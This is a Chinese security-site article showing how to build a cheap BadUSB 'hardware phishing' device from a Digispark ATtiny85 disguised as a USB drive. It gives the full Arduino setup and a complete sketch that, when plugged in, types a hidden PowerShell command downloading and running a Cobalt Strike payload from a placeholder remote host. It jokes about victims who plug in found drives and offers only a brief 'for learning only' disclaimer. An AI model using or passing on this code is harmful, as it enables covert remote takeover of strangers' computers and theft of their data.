freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

硬件钓鱼攻击分析 金币
2021-01-16 15:05:52

引言

在茫茫的人海中,走着路,突然看到地上有个像U盘的东西,于是捡了起来。回到家,不忙不急插入电脑看看里面有什么,忽然一闪的黑窗口。之后识别不出。就扔进垃圾桶。

那么恭喜你,我的CS上线了,哈哈哈~~

那么,如何实现的呢?其实你捡到的只是一个类似于键盘的硬件,里面写有所执行的cmd命令而已。当你插入U盘,设好等到加载时间,直接执行cmd,执行木马。有人会问,我电脑有杀毒软件,怕啥?遗憾告诉你,杀毒软件,不杀硬件。啊哈哈哈~~~(不落地的木马)

制作一个这种成本大概10块钱左右,本测试使用了Attiny85,于是就不折腾了,直接买了一个带USB的,某宝也有带U盘外壳;有些老板还可以帮你印个64G哈哈哈。

如图:

动手开造

我自己买的是Attiny85,不带外壳的,长这样子

去arduino官网下载软件,这个软件作为烧录作用,把代码编译成二进制固件,之后烧写进去。

准备流程:

usb虚拟键盘arduino IDE下载https://www.arduino.cc/en/Main/Softwaredigispark驱动下载https://github.com/digistump/DigistumpArduino/releases

然后在arduino IDE加入对digispark开发板的支持

在文件->首选项中加入附加开发板管理

http://digistump.com/package_digistump_index.json

安装好之后,在工具中选中开发板Digispark (Default - 16.5mHz)

配置好以后,创建项目将代码放进去,测试代码,点击上传

#include "DigiKeyboard.h"void setup() {// put your setup code here, to run once:DigiKeyboard.delay(2000);DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);DigiKeyboard.delay(300);DigiKeyboard.println("cmd");DigiKeyboard.delay(300);DigiKeyboard.println("echo OK");}void loop() {}

点击上传以后出现下图

意思是你在60秒插入digispark就能上传了,这时候在usb插入Attiny85模块

这样子显示,就是烧写完毕了~~~离成功又进一步了。再将Attiny85模块插入电脑,就会弹出

接下来修改代码,将echo OK替换成CS的不落地神马。

#include "DigiKeyboard.h"//库文件void setup() {// setup函数只运行一次DigiKeyboard.delay(2000);//等待两秒,给电脑自动加载配置时间DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);//摁住WIN键DigiKeyboard.delay(300);//等待300毫秒DigiKeyboard.println("cmd");//输入CMDDigiKeyboard.delay(300);DigiKeyboard.println("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://xxx.xxx.xxx.xx:xxxx/a'))\"");//执行PAYLOAD,双引号需要斜杠转义}void loop() {}

安装上面的步骤再来一遍,就好了~

总结

陌生软硬盘,切勿直接插入电脑。仅供学习交流,请勿违法使用。

本文作者:, 转载请注明来自FreeBuf.COM

# 硬件黑客 # 钓鱼攻击 # 钓鱼技术 # 硬件安全 # 硬件植入
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦
收入专辑